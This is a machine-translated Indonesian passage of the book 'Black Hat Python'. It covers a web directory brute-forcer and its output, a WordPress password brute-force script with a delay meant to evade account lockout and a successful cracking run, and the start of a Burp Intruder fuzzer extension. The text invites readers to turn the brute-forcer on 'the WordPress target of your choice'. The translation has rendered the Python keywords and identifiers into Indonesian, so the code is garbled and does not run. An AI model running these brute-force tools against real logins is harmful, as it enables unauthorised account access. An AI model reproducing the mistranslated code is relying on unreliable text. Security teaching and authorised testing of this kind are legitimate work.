3; cetak x ke stderr ketika itu terjadi. Sebaliknya, jika kita berhasil (ditunjukkan dengan status 200), cetak
URL lengkap ke konsol 4. Anda juga dapat membuat antrian dan meletakkan hasilnya di sana,
seperti yang kita lakukan terakhir kali. Jika kita mendapat respon 404, kita cetak titik (.) ke stderr dan
lanjutkan 5. Jika kita mendapat kode respon lain, kita cetak juga URL-nya, karena ini bisa menunjukkan

84 Bab 5
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

sesuatu yang menarik di server web jarak jauh. (Artinya, sesuatu selain kesalahan “file tidak
ditemukan”.) Penting untuk memperhatikan keluaran Anda karena, bergantung pada
konfigurasi server web jarak jauh, Anda mungkin harus memfilter kode kesalahan HTTP
tambahan untuk membersihkannya. hasil Anda.
Di blok __main__ , kita mendapatkan daftar kata untuk melakukan brute force 6 dan
kemudian memutar sekumpulan thread untuk melakukan brute force.

Menendang Ban
OWASP memiliki daftar aplikasi web yang rentan, baik online maupun offline, seperti mesin
virtual dan image disk, yang dapat Anda gunakan untuk menguji peralatan Anda. Dalam
hal ini, URL yang direferensikan dalam kode sumber menunjuk ke aplikasi web yang
sengaja dibuat bermasalah yang dihosting oleh Acunetix. Hal keren tentang menyerang
aplikasi ini adalah ia menunjukkan kepada Anda betapa efektifnya brute force.

Kami menyarankan Anda menyetel variabel THREADS ke sesuatu yang masuk akal,
seperti 5, dan menjalankan skrip. Nilai yang terlalu rendah akan memakan waktu lama
untuk dijalankan, sedangkan nilai yang tinggi dapat membebani server. Singkatnya, Anda
akan mulai melihat hasil seperti berikut:

(bhp) tim@kali:~/bhp/bhp$ python bruter.py


Tekan kembali untuk melanjutkan.
--menggunting--

Sukses (200: http://testphp.vulnweb.com/CVS/)


...................................................
Sukses (200: http://testphp.vulnweb.com/admin/).
................................................. .....

Jika Anda hanya ingin melihat keberhasilannya, karena Anda menggunakan sys.stderr
untuk menulis karakter x dan titik (.) , aktifkan skrip dan alihkan stderr ke /dev/
null sehingga hanya file yang Anda temukan yang ditampilkan di konsol:

python bruter.py 2> /dev/null

Sukses (200: http://testphp.vulnweb.com/CVS/)


Sukses (200: http://testphp.vulnweb.com/admin/)
Sukses (200: http://testphp.vulnweb.com/index.php)
Sukses (200: http://testphp.vulnweb.com/index.bak)
Sukses (200: http://testphp.vulnweb.com/search.php)
Sukses (200: http://testphp.vulnweb.com/login.php)
Sukses (200: http://testphp.vulnweb.com/images/)
Sukses (200: http://testphp.vulnweb.com/index.php)
Sukses (200: http://testphp.vulnweb.com/logout.php)
Sukses (200: http://testphp.vulnweb.com/categories.php)

Perhatikan bahwa kami mendapatkan beberapa hasil menarik dari situs web jarak
jauh, beberapa di antaranya mungkin mengejutkan Anda. Misalnya, Anda mungkin menemukan
file cadangan atau cuplikan kode yang ditinggalkan oleh pengembang web yang terlalu
banyak bekerja. Apa yang ada di file index.bak itu ? Dengan informasi tersebut, Anda dapat
menghapus file yang dapat dengan mudah menyusupi aplikasi Anda.

Peretas Web 85
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Otentikasi Formulir HTML yang Memaksa


Mungkin ada saatnya dalam karir peretasan web Anda ketika Anda perlu mendapatkan akses ke
target atau, jika Anda berkonsultasi, menilai kekuatan kata sandi pada sistem web yang ada. Sudah
menjadi hal yang lumrah bagi sistem web untuk memiliki perlindungan brute force, baik itu captcha,
persamaan matematika sederhana, atau token login yang harus dikirimkan bersama permintaan. Ada
sejumlah brute force yang dapat melakukan brute force pada permintaan POST ke skrip login, namun
dalam banyak kasus, brute force tersebut tidak cukup fleksibel untuk menangani konten dinamis
atau menangani pertanyaan sederhana “apakah Anda manusia?” pemeriksaan. Kami akan
membuat brute force sederhana yang akan berguna melawan WordPress, sistem manajemen konten
populer. Sistem WordPress modern menyertakan beberapa teknik dasar anti-brute-force, namun masih
kekurangan penguncian akun atau captcha yang kuat secara default.

Untuk melakukan brute-force pada WordPress, alat kami harus memenuhi dua
persyaratan: alat tersebut harus mengambil token tersembunyi dari formulir login
sebelum mengirimkan upaya kata sandi, dan alat tersebut harus memastikan bahwa
kami menerima cookie di sesi HTTP kami. Aplikasi jarak jauh menetapkan satu
atau lebih cookie pada kontak pertama, dan akan mengharapkan cookie kembali
pada upaya login. Untuk mengurai nilai formulir login, kami akan menggunakan
paket lxml yang diperkenalkan di bagian “Paket lxml dan BeautifulSoup” di halaman XX.
Mari kita mulai dengan melihat formulir login WordPress. Kamu bisa
temukan ini dengan menjelajah ke http:// <target Anda>/ wp-login.php/. Anda dapat
menggunakan alat browser Anda untuk "melihat sumber" guna menemukan struktur
HTML. Misalnya, menggunakan browser Firefox, pilih ToolsÿWeb DeveloperÿInspector.
Agar singkatnya, kami hanya menyertakan elemen formulir yang relevan:

<nama formulir="loginform" id="loginform"


1 tindakan="http://boodelyboo.com/wordpress/wp-login.php" metode="post">
<p>
<label for="user_login">Nama Pengguna atau Alamat Email</label>
2 <input type="text" name="log" id="user_login" value="" size="20"/>
</p>

<div class="user-pass-wrap">
<label for="user_pass">Sandi</label>
<div kelas="wp-pwd">
3 <input type="password" name="pwd" id="user_pass" value="" size="20" />
</div>
</div>
<p kelas="kirim">
4 <input type="submit" name="wp-submit" id="wp-submit" value="Masuk" />
5 <input type="hidden" name="testcookie" value="1" />
</p>
</bentuk>

Membaca formulir ini, kami mengetahui beberapa informasi berharga


yang harus kita masukkan ke dalam kekuatan kasar kita. Yang pertama adalah
formulir dikirimkan ke jalur /wp-login.php sebagai HTTP POST 1. Elemen
selanjutnya adalah semua bidang yang diperlukan untuk pengiriman formulir

86 Bab 5
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

agar berhasil: log 2 adalah variabel yang mewakili nama pengguna, pwd 3
adalah variabel untuk kata sandi, wp-submit 4 adalah variabel untuk tombol kirim, dan testcookie
5 adalah variabel untuk cookie pengujian. Perhatikan bahwa masukan ini disembunyikan di
formulir.
Server juga menetapkan beberapa cookie saat Anda melakukan kontak dengan
formulir, dan diharapkan menerimanya lagi saat Anda memposting data formulir.
Ini adalah bagian penting dari teknik anti-brute-forcing WordPress.
Situs ini memeriksa cookie terhadap sesi pengguna Anda saat ini, jadi meskipun Anda memberikan
kredensial yang benar ke dalam skrip pemrosesan login, otentikasi akan gagal jika cookie
tidak ada. Ketika pengguna biasa login, browser secara otomatis menyertakan cookie. Kita
harus menduplikasi perilaku tersebut dalam program brute force. Kami akan menangani cookie
secara otomatis menggunakan objek Sesi perpustakaan permintaan .

Kami akan mengandalkan aliran permintaan berikut di brute force kami untuk melakukannya
sukses melawan WordPress:

1. Ambil halaman login dan terima semua cookie yang dikembalikan.


2. Parsing semua elemen formulir dari HTML.

3. Atur nama pengguna dan/atau kata sandi berdasarkan tebakan dari kamus kami.
4. Kirim HTTP POST ke skrip pemrosesan login, termasuk semuanya
Bidang formulir HTML dan cookie yang kami simpan.

5. Test apakah kita sudah berhasil login pada aplikasi web.

Cain & Abel, alat pemulihan kata sandi khusus Windows, mencakup banyak hal
daftar kata untuk kata sandi paksa yang disebut cain.txt. Mari kita gunakan file itu untuk
menebak kata sandi kita. Anda dapat mengunduhnya langsung dari repositori GitHub Daniel
Miessler, SecLists:

wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Software/cain-and-abel.txt

Omong-omong, SecLists juga berisi banyak daftar kata lainnya. saya menyarankan
Anda menelusuri repo untuk proyek peretasan Anda di masa depan.
Anda dapat melihat bahwa kami akan menggunakan beberapa teknik baru dan
berharga dalam skrip ini. Kami juga akan menyebutkan bahwa Anda tidak boleh menguji
peralatan Anda pada target langsung; selalu siapkan instalasi aplikasi web target Anda
dengan kredensial yang diketahui dan verifikasi bahwa Anda mendapatkan hasil yang diinginkan.
Mari buka file Python baru bernama wordpress_killer.py dan masukkan kode berikut:

dari io impor BytesIO


dari lxml impor etree
dari antrian impor Antrian

permintaan impor
sistem impor
impor threading
waktu impor

Peretas Web 87
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
1 SUKSES = 'Selamat datang di WordPress!'
2 TARGET = "http://boodelyboo.com/wordpress/wp-login.php"
DAFTAR DUNIA = '/home/tim/bhp/bhp/cain.txt'

3 def get_words():
dengan terbuka (DAFTAR WORDL) sebagai f:

kata_mentah = f.baca()

kata = Antrian()
untuk kata di raw_words.split():
kata-kata.put(kata)
kata kembali

4 def get_params(konten):
params = dikt()
pengurai = etree.HTMLParser()
pohon = etree.parse(BytesIO(konten), parser=parser)
5 untuk elemen di tree.findall('//input'): # temukan semua elemen masukan
nama = elem.dapatkan('nama')
jika nama bukan Tidak Ada:
params[nama] = elem.get('nilai', Tidak Ada)
kembalikan param

Pengaturan umum ini memerlukan sedikit penjelasan. Sasaran


variabel 2 adalah URL tempat skrip pertama kali mengunduh dan mengurai HTML. Variabel
SUCCESS 1 adalah string yang akan kita periksa di konten respons setelah setiap upaya brute
force untuk menentukan apakah kita berhasil atau tidak.

Fungsi get_words 3 seharusnya terlihat familiar karena kita menggunakan bentuk serupa
untuk brute force di bagian “Direktori dan Lokasi File Brute-Forcing” di halaman XX. Fungsi
get_params 4 menerima konten respons HTTP, menguraikannya, dan mengulang semua elemen
masukan 5 untuk membuat kamus parameter yang perlu kita isi. Sekarang mari kita buat pipa
untuk brute force kita; beberapa kode berikut akan familiar dari kode pada program brute force
sebelumnya, jadi kami hanya akan menyoroti teknik terbaru.

kelas Bruter:
def __init__(diri, nama pengguna, url):
self.nama pengguna = nama pengguna
diri.url = url
self.found = Salah
print(f'\nSerangan Brute Force dimulai pada {url}.\n')
print("Selesai setup dimana nama pengguna = %s\n" % nama pengguna)

def run_bruteforce(mandiri, kata sandi):


untuk _ dalam jangkauan (10):
t = threading.Thread(target=self.web_bruter, args=(kata sandi,))
t.mulai()

def web_bruter(diri sendiri, kata sandi):

88 Bab 5
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

1 sesi = permintaan.Sesi()
resp0 = sesi.dapatkan(self.url)
params = get_params(resp0.konten)
params['log'] = self.nama pengguna

2 sementara bukan passwords.empty() dan bukan self.found:


waktu.tidur(5)
passwd = kata sandi.dapatkan()
print(f'Mencoba nama pengguna/kata sandi {self.username}/{passwd:<10}')
params['pwd'] = sandi

3 resp1 = sesi.post(self.url, data=params)


jika SUKSES di resp1.content.decode():
self.found = Benar
print(f"\nBrute force berhasil.")
print("Nama pengguna adalah %s" % diri.nama pengguna)
print("Kata sandinya adalah %s\n" % kasar)
print('selesai: sekarang bersihkan thread yang lain. . .')

Ini adalah kelas brute force utama kami, yang akan menangani semua permintaan HTTP
dan mengelola cookie. Pekerjaan metode web_bruter , yang melakukan serangan login brute
force, berlangsung dalam tiga tahap.
Pada fase inisialisasi 1, kita menginisialisasi objek Sesi dari perpustakaan permintaan ,
yang secara otomatis akan menangani cookie untuk kita. Kami kemudian membuat permintaan
awal untuk mengambil formulir login. Saat kita memiliki konten HTML mentah, kita meneruskannya
ke fungsi get_params , yang mem-parsing konten untuk parameter dan mengembalikan kamus
semua elemen formulir yang diambil. Setelah kita berhasil mengurai HTML, kita mengganti
parameter nama pengguna . Sekarang kita bisa mulai mengulangi tebakan kata sandi kita.

Dalam perulangan fase 2, pertama-tama kita tidur beberapa detik sebagai upaya untuk
melewati penguncian akun. Kemudian kami mengeluarkan kata sandi dari antrian dan
menggunakannya untuk menyelesaikan pengisian kamus parameter. Jika tidak ada lagi kata
sandi dalam antrean, thread akan berhenti.
Pada tahap permintaan 3, kami memposting permintaan dengan kamus parameter
kami. Setelah kami mengambil hasil upaya autentikasi, kami menguji apakah autentikasi berhasil
atau tidak—yaitu, apakah konten berisi string sukses yang kami tentukan sebelumnya atau
tidak. Jika berhasil dan stringnya ada, kami menghapus antrian sehingga thread lainnya dapat
selesai dengan cepat dan kembali.

Untuk menyelesaikan brute force WordPress, mari tambahkan kode berikut:

jika __nama__ == '__utama__':


kata-kata = get_words()
1 b = Bruter('tim', url)
2 b.run_bruteforce(kata-kata))

Itu dia! Kami meneruskan nama pengguna dan url ke kelas Bruter 1 dan melakukan
brute force aplikasi menggunakan antrian yang dibuat dari daftar kata 2.
Sekarang kita bisa menyaksikan keajaiban terjadi.

Peretas Web 89
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

HTMLPARSER 101

Pada contoh di bagian ini, kami menggunakan paket request dan lxml untuk
membuat permintaan HTTP dan mengurai konten yang dihasilkan. Namun bagaimana
jika Anda tidak dapat menginstal paket sehingga harus bergantung pada pustaka
standar? Seperti yang kami catat di awal bab ini, Anda dapat menggunakan urllib
untuk membuat permintaan, tetapi Anda harus menyiapkan parser Anda sendiri
dengan pustaka standar html.parser.HTMLParser.
Ada tiga metode utama yang dapat Anda terapkan saat menggunakan kelas
HTMLParser : handle_starttag, handle_endtag, dan handle_data. Fungsi
handle_starttag akan dipanggil setiap kali tag HTML pembuka ditemukan, dan
sebaliknya berlaku untuk fungsi handle_endtag , yang dipanggil setiap kali tag HTML
penutup ditemukan. Fungsi handle_data dipanggil ketika ada teks mentah di antara tag.
Prototipe fungsi untuk setiap fungsi sedikit berbeda, sebagai berikut:

handle_starttag(diri, tag, atribut)


handle_endttag(diri sendiri, tag)
handle_data(diri, data)

Berikut ini contoh singkat untuk menyoroti hal ini:

<title>Batu piton!</title>

handle_starttag => variabel tag adalah "judul"


handle_data => variabel datanya adalah "Batu piton!"
handle_endtag => variabel tag adalah "judul"

Dengan pemahaman dasar kelas HTMLParser ini , Anda dapat melakukan hal-hal seperti
mengurai formulir, menemukan link untuk spidering, mengekstrak semua teks murni untuk tujuan
penambangan data, atau menemukan semua gambar di halaman.

Menendang Ban
Jika Anda belum menginstal WordPress di Kali VM Anda, instal sekarang.
Pada instalasi WordPress sementara kami yang dihosting di boodelyboo.com, kami telah
mengatur nama pengguna menjadi tim dan kata sandi menjadi 1234567 sehingga kami
dapat memastikannya berfungsi. Kata sandi itu kebetulan ada di file cain.txt , sekitar 30
entri ke bawah. Saat menjalankan skrip, kami mendapatkan output berikut:

(bhp) tim@kali:~/ bhp/bhp$ python wordpress_killer.py


Serangan Brute Force dimulai pada http://boodelyboo.com/wordpress/wp-login.php.
Menyelesaikan pengaturan di mana nama pengguna = tim

90 Bab 5
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Mencoba nama pengguna/kata sandi tim/!@#$%


Mencoba nama pengguna/kata sandi tim/!@#$%^
Mencoba nama pengguna/kata sandi tim/!@#$%^&
--menggunting--

Mencoba nama pengguna/kata sandi tim/0racl38i

Bruteforce berhasil.
Nama pengguna adalah tim

Kata sandinya adalah 1234567

selesai: sekarang bersihkan.


(bhp) tim@kali:~/bhp/bhp$

Anda dapat melihat bahwa skrip berhasil melakukan brute force dan masuk ke
Konsol WordPress. Untuk memverifikasi bahwa itu berhasil, Anda harus masuk secara manual
menggunakan kredensial tersebut. Setelah Anda mengujinya secara lokal dan Anda yakin itu
berfungsi, Anda dapat menggunakan alat ini pada target instalasi WordPress pilihan Anda.

Peretas Situs Web 91


Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

6
MEMPERPANJANG BURP PROX Y

Jika Anda pernah mencoba meretas aplikasi web,


kemungkinan besar Anda menggunakan Burp Suite
untuk melakukan spidering, memproksi lalu lintas browser,
dan melakukan serangan lainnya. Burp Suite juga
memungkinkan Anda membuat alat sendiri, yang disebut ekstensi.
Dengan menggunakan Python, Ruby, atau Java murni, Anda dapat
menambahkan panel di Burp GUI dan membangun teknik otomatisasi
ke dalam Burp Suite. Kami akan memanfaatkan fitur ini untuk menulis
beberapa alat praktis untuk melakukan serangan dan pengintaian
yang diperluas. Ekstensi pertama akan menggunakan permintaan HTTP yang dic
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

dari Burp Proxy sebagai benih untuk fuzzer mutasi yang berjalan di Burp Intruder.
Ekstensi kedua akan berkomunikasi dengan Microsoft Bing API untuk menunjukkan kepada
kita semua host virtual yang terletak di alamat IP yang sama dengan situs target, serta subdomain
apa pun yang terdeteksi untuk domain target. Terakhir, kami akan membuat ekstensi untuk
membuat daftar kata dari situs web target yang dapat Anda gunakan dalam serangan kata sandi
brute force.
Bab ini mengasumsikan bahwa Anda pernah bermain dengan Burp sebelumnya dan
mengetahui cara menjebak permintaan dengan alat Proxy, serta cara mengirim permintaan yang
terjebak ke Burp Intruder. Jika Anda memerlukan tutorial tentang cara melakukan tugas ini,
kunjungi PortSwigger Web Security (http:// www.portswigger.net/) untuk memulai.
Kami harus mengakui bahwa ketika kami pertama kali menjelajahi Burp Extender
API, kami memerlukan beberapa waktu untuk memahami cara kerjanya. Kami merasa ini
agak membingungkan, karena kami adalah orang-orang Python murni dan memiliki pengalaman
pengembangan Java yang terbatas. Namun kami menemukan sejumlah ekstensi di situs Burp
yang mengajari kami bagaimana orang lain mengembangkan ekstensi. Kami menggunakan
penemuan sebelumnya untuk membantu kami memahami cara mulai mengimplementasikan
kode kami sendiri. Bab ini akan membahas beberapa dasar tentang perluasan fungsionalitas,
namun kami juga akan menunjukkan cara menggunakan dokumentasi API sebagai panduan.

Pengaturan
Burp Suite diinstal secara default di Kali Linux. Jika Anda menggunakan mesin lain, unduh
Burp dari http:// www.portswigger.net/ dan mengaturnya.

Meskipun kami harus mengakuinya, Anda memerlukan instalasi Java modern. Kali
Linux sudah menginstalnya. Jika Anda menggunakan platform lain, gunakan metode instalasi
sistem Anda (seperti apt, yum, atau rpm) untuk mendapatkannya.
Selanjutnya, instal Jython, implementasi Python 2 yang ditulis dalam Java. Hingga saat ini, semua
kode kita telah menggunakan sintaksis Python 3, namun dalam bab ini kita akan kembali ke
Python 2, karena itulah yang diharapkan Jython. Anda dapat menemukan file JAR ini di situs No
Starch, bersama dengan kode buku lainnya (https:// www.nostarch
.com/ blackhatpython/), atau di situs resminya, https:// www.jython.org/ download
.html. Pilih Penginstal Mandiri Jython 2.7. Simpan file JAR ke lokasi yang mudah diingat,
seperti Desktop Anda.
Selanjutnya, klik dua kali ikon Burp di mesin Kali Anda atau jalankan
Bersendawa dari baris perintah:

#> java -XX:MaxPermSize=1G -jar burpsuite_pro_v1.6.jar

Ini akan menjalankan Burp, dan Anda akan melihat antarmuka pengguna grafis (GUI)
penuh dengan tab yang indah, seperti yang ditunjukkan pada Gambar 6-1.

94 Bab 6
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Gambar 6-1: GUI Burp Suite dimuat dengan benar

Sekarang mari arahkan Burp ke interpreter Jython kita. Klik tab Extender lalu klik
tab Opsi . Di bagian Lingkungan Python, pilih lokasi file Jython JAR Anda, seperti yang
ditunjukkan pada Gambar 6-2. Anda dapat membiarkan opsi lainnya. Kami siap untuk
mulai mengkodekan ekstensi pertama kami.
Mari kita bergoyang!

Gambar 6-2: Mengonfigurasi lokasi juru bahasa Jython

Bersendawa Fuzzing

Pada titik tertentu dalam karir Anda, Anda mungkin menemukan diri Anda
menyerang aplikasi atau layanan web yang tidak memungkinkan Anda
menggunakan alat penilaian aplikasi web tradisional. Misalnya, aplikasi mungkin
menggunakan terlalu banyak parameter, atau mungkin dikaburkan sehingga membuat
pengujian manual terlalu memakan waktu. Kami bersalah karena menjalankan alat
standar yang tidak dapat menangani protokol aneh, atau bahkan JSON dalam
banyak kasus. Di sinilah Anda akan merasakan manfaatnya untuk menetapkan
dasar lalu lintas HTTP yang solid, termasuk cookie autentikasi, sambil meneruskan isi
permintaan ke fuzzer khusus. Fuzzer ini bisa

Memperluas Proksi Burp 95


Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

lalu memanipulasi payload dengan cara apa pun yang Anda pilih. Kami akan mengerjakan
ekstensi Burp pertama kami dengan membuat fuzzer aplikasi web paling sederhana di
dunia, yang kemudian dapat Anda kembangkan menjadi sesuatu yang lebih cerdas.
Burp memiliki sejumlah alat yang dapat Anda gunakan saat melakukan pengujian
aplikasi web. Biasanya, Anda akan menjebak semua permintaan menggunakan Proxy,
dan ketika Anda melihat permintaan yang menarik, Anda akan mengirimkannya ke alat Burp
lainnya. Teknik yang umum adalah mengirimkannya ke alat Repeater, yang memungkinkan
Anda memutar ulang lalu lintas web serta memodifikasi tempat menarik secara manual.
Untuk melakukan lebih banyak serangan otomatis pada parameter kueri, Anda dapat
mengirim permintaan ke alat Intruder, yang mencoba mencari tahu secara otomatis area lalu
lintas web mana yang harus Anda modifikasi dan kemudian memungkinkan Anda
menggunakan berbagai serangan untuk mencoba mendapatkan pesan kesalahan atau
menghilangkan kerentanan. Ekstensi Burp dapat berinteraksi dalam berbagai cara
dengan rangkaian alat Burp. Dalam kasus kami, kami akan memasang fungsionalitas tambahan langsung ke a
Naluri pertama kami adalah melihat dokumentasi Burp API untuk menentukan kelas
Burp apa yang perlu kami perluas untuk menulis ekstensi khusus kami. Anda dapat
mengakses dokumentasi ini dengan mengklik Extender
tab dan kemudian mengklik tab API . API ini mungkin terlihat sedikit menakutkan karena
sangat Java-y. Namun perhatikan bahwa pengembang Burp telah memberi nama masing-
masing kelas dengan tepat, membuatnya mudah untuk mengetahui di mana kita ingin
memulai. Secara khusus, karena kami mencoba untuk mengaburkan permintaan web
selama serangan Intruder, kami mungkin ingin fokus pada kelas
IIntruderPayloadGeneratorFactory dan IIntruderPayloadGenerator . Mari kita lihat apa yang
tertulis dalam dokumentasi untuk kelas IIntruderPayloadGeneratorFactory :

/**
* Ekstensi dapat mengimplementasikan antarmuka ini dan kemudian menelepon
1 * IBurpExtenderCallbacks.registerIntruderPayloadGeneratorFactory()
* untuk mendaftarkan pabrik untuk muatan Intruder khusus.
*/

antarmuka publik IIntruderPayloadGeneratorFactory


{
/**
* Metode ini digunakan oleh Burp untuk mendapatkan nama payload
*
generator. Ini akan ditampilkan sebagai opsi di dalam
* UI Penyusup ketika pengguna memilih untuk menggunakan ekstensi yang dihasilkan
* muatan.
*
* @return Nama generator payload.
*/
2 String getGeneratorName();

/**
* Metode ini digunakan oleh Burp ketika pengguna memulai Intruder
* serangan yang menggunakan generator muatan ini.

*
@param serangan
* Objek IIntruderAttack yang dapat ditanyakan untuk mendapatkan detail
* tentang serangan yang akan menggunakan generator payload.

96 Bab 6
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

* @return Contoh baru


* IIntruderPayloadGenerator yang akan digunakan untuk menghasilkan
* muatan untuk serangan itu.
*/

3 IIntruderPayloadGenerator createNewInstance (serangan IIntruderAttack);


}

Bagian pertama dari dokumentasi 1 menjelaskan cara mendaftarkan ekstensi kita dengan
Burp dengan benar. Kami akan memperluas kelas Burp utama serta kelas
IIntruderPayloadGeneratorFactory . Selanjutnya, kita melihat bahwa Burp mengharapkan dua
metode di kelas utama kita. Burp akan memanggil metode getGeneratorName 2
untuk mengambil nama ekstensi kami, dan kami diharapkan mengembalikan sebuah string.
Metode createNewInstance 3 mengharapkan kita mengembalikan sebuah instance dari
IIntruderPayloadGenerator, kelas kedua yang harus kita buat.
Sekarang mari kita implementasikan kode Python sebenarnya untuk memenuhi persyaratan ini.
Kemudian kita akan mengetahui cara menambahkan kelas IIntruderPayloadGenerator . Buka file
Python baru, beri nama bhp_fuzzer.py, dan masukkan kode berikut:

1 dari sendawa impor IBurpExtender


dari bersendawa impor IIntruderPayloadGeneratorFactory
dari bersendawa impor IIntruderPayloadGenerator

dari Daftar impor java.util, ArrayList

impor acak

2 kelas BurpExtender(IBurpExtender, IIntruderPayloadGeneratorFactory):


def registerExtenderCallbacks(mandiri, panggilan balik):
self._callbacks = panggilan balik
self._helpers = panggilan balik.getHelpers()

3 panggilan balik.registerIntruderPayloadGeneratorFactory(mandiri)

kembali

4 def getGeneratorName(diri):
kembalikan "Generator Muatan BHP"

5 def createNewInstance(mandiri, serang):


kembalikan BHPFuzzer (diri sendiri, serang)

Kerangka sederhana ini menguraikan apa yang kita perlukan untuk memenuhi
rangkaian persyaratan pertama. Kita harus mengimpor IBurpExtender terlebih dahulu
kelas 1, persyaratan untuk setiap ekstensi yang kami tulis. Kami menindaklanjutinya dengan
mengimpor kelas yang diperlukan untuk membuat generator payload Intruder. Selanjutnya,
kita mendefinisikan kelas BurpExtender 2, yang memperluas kelas IBurpExtender dan
IIntruderPayloadGeneratorFactory . Kami kemudian menggunakan metode
registerIntruderPayloadGeneratorFactory 3 untuk mendaftarkan kelas kami

Memperluas Proksi Burp 97


Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

bahwa alat Penyusup mengetahui bahwa kami dapat menghasilkan muatan.


Selanjutnya, kita menerapkan metode getGeneratorName 4 untuk mengembalikan nama
generator payload kita. Terakhir, kami menerapkan metode createNewInstance 5, yang
menerima parameter serangan dan mengembalikan instance kelas
IIntruderPayloadGenerator , yang kami sebut BHPFuzzer.
Mari kita intip dokumentasi IIntruderPayloadGenerator
kelas sehingga kita tahu apa yang harus diterapkan:

/**
* Antarmuka ini digunakan untuk generator muatan Penyusup khusus.
* Ekstensi
* yang telah mendaftarkan an
* IIntruderPayloadGeneratorFactory harus mengembalikan instance baru
* antarmuka ini bila diperlukan sebagai bagian dari serangan Penyusup baru.
*/

antarmuka publik IIntruderPayloadGenerator


{
/**
* Metode ini digunakan oleh Burp untuk menentukan apakah payload
*
generator mampu menyediakan muatan lebih lanjut.
*
* @return Extensions akan kembali
* salah ketika semua muatan yang tersedia telah habis,
* sebaliknya benar
*/
1 boolean hasMorePayloads();

/**
* Cara ini digunakan Burp untuk mendapatkan nilai payload berikutnya.
*
*
@param baseValue Nilai dasar posisi payload saat ini.
* Nilai ini mungkin nol jika konsep nilai dasar tidak
* berlaku (misalnya dalam serangan pendobrak).
* @return Payload berikutnya yang digunakan dalam serangan.
*/
2 byte[] getNextPayload(byte[] baseValue);

/**
* Metode ini digunakan oleh Burp untuk mereset status payload
*
generator sehingga panggilan berikutnya ke
* getNextPayload() mengembalikan payload pertama lagi. Ini
* Metode akan dipanggil ketika serangan menggunakan muatan yang sama
*
generator untuk lebih dari satu posisi muatan, misalnya pada a
*
serangan penembak jitu.
*/
3 batalkan pengaturan ulang();
}

Oke! Sekarang kita tahu bahwa kita perlu mengimplementasikan kelas dasar, yang
perlu mengekspos tiga metode. Metode pertama, hasMorePayloads 1, digunakan untuk
memutuskan apakah akan terus mengirim permintaan yang dimutasi kembali ke Burp Intruder.
Kami akan menggunakan counter untuk menangani ini. Setelah penghitung mencapai maksimum

98 Bab 6
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

level, kami akan mengembalikan False untuk berhenti membuat kasus fuzzing. getNextPayload
metode 2 akan menerima payload asli dari permintaan HTTP yang Anda jebak. Alternatifnya,
jika Anda memilih beberapa area payload dalam permintaan HTTP, Anda hanya akan
menerima byte yang ingin Anda fuzz (lebih lanjut tentang ini nanti). Metode ini memungkinkan
kita untuk mengaburkan test case asli dan kemudian mengembalikannya untuk dikirim oleh
Burp. Metode terakhir, reset 3, ada sehingga jika kita menghasilkan sekumpulan permintaan
fuzzed yang diketahui, fuzzer dapat melakukan iterasi melalui nilai-nilai tersebut untuk setiap
posisi payload yang ditentukan di tab Intruder. Fuzzer kami tidak terlalu rewel; itu akan selalu
mengaburkan setiap permintaan HTTP secara acak.
Sekarang mari kita lihat tampilannya saat kita mengimplementasikannya dengan Python.
Tambahkan kode berikut ke bagian bawah bhp_fuzzer.py:

1 kelas BHPFuzzer (IIntruderPayloadGenerator):


def __init__(mandiri, ekstender, serang):
self._extender = pemanjang
self._helpers = extender._helpers
self._serangan = menyerang
2 mandiri.max_payloads = 10
self.num_iterations = 0

kembali

3 def hasMorePayloads(mandiri):
jika self.num_iterations == self.max_payloads:
kembali Salah
kalau tidak:

kembali Benar

4 def getNextPayload(mandiri,current_payload):
# ubah menjadi string
5 payload = "".join(chr(x) untuk x di current_payload)

# panggil mutator sederhana kami untuk mengaburkan POST


6 muatan = self.mutate_payload(muatan)

# menambah jumlah upaya fuzzing


7 self.num_iterations += 1

mengembalikan muatan

def reset(diri):
self.num_iterations = 0
kembali

Kita mulai dengan mendefinisikan kelas BHPFuzzer 1 yang memperluas kelas IIntruder-
PayloadGenerator . Kita mendefinisikan variabel kelas yang diperlukan dan kemudian
menambahkan variabel max_payloads 2 dan num_iterations yang digunakan untuk memberi tahu
Burp ketika kita telah selesai melakukan fuzzing. Anda tentu saja dapat membiarkan ekstensi
berjalan selamanya jika Anda mau, namun untuk tujuan pengujian, kami akan menetapkan batas
waktu. Selanjutnya, kita mengimplementasikan metode hasMorePayloads 3, yang hanya
memeriksa apakah kita telah mencapai jumlah maksimum iterasi fuzzing. Anda dapat memodifikasi

Memperluas Proksi Burp 99


Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

ini untuk terus menjalankan ekstensi dengan selalu mengembalikan True. Metode get-
NextPayload 4 menerima payload HTTP asli, dan di sinilah kita akan membahasnya.
